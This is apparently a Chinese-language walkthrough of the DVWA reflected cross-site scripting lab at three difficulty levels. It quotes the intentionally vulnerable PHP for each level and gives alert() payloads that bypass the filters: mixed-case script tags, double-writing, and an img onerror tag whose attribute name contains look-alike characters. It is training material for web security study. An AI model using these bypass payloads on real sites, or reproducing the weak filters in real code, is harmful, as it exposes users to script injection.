Dvwa-Reflected Cross Site Scripting (XSS)全难度

LOW难度

先看源码

<?php
 
header ("X-XSS-Protection: 0");
 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
 
?>

可见没有作任何防护, 我们可以直接注入

输入自己的名字 <script>alert('You are attacked!')</script>

Medium难度

先看源码

<?php
 
header ("X-XSS-Protection: 0");
 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
 
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
 
?>

Medium级别的服务端将script标签过滤了, 但是他没有不区分大写地过滤 (相应的可以用正则式来防御)。 我们可以使用大小写来绕过

HTML中对大小写不敏感JS中对大小写敏感

注入语句name=<Script>alert('You are attacked!')</scRipt>

双写绕过

由于服务端只用str_place()过滤了一次, 对于多次出现的无法全部匹配完, 所以这里可以用双写绕过

High难度

先看源码

<?php
 
header ("X-XSS-Protection: 0");
 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
 
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
 
?>

虽然过滤了script标签, 但是还是可以进行其他的标签注入

注入

<img src="" οnerrοr="alert('You are attacked!')">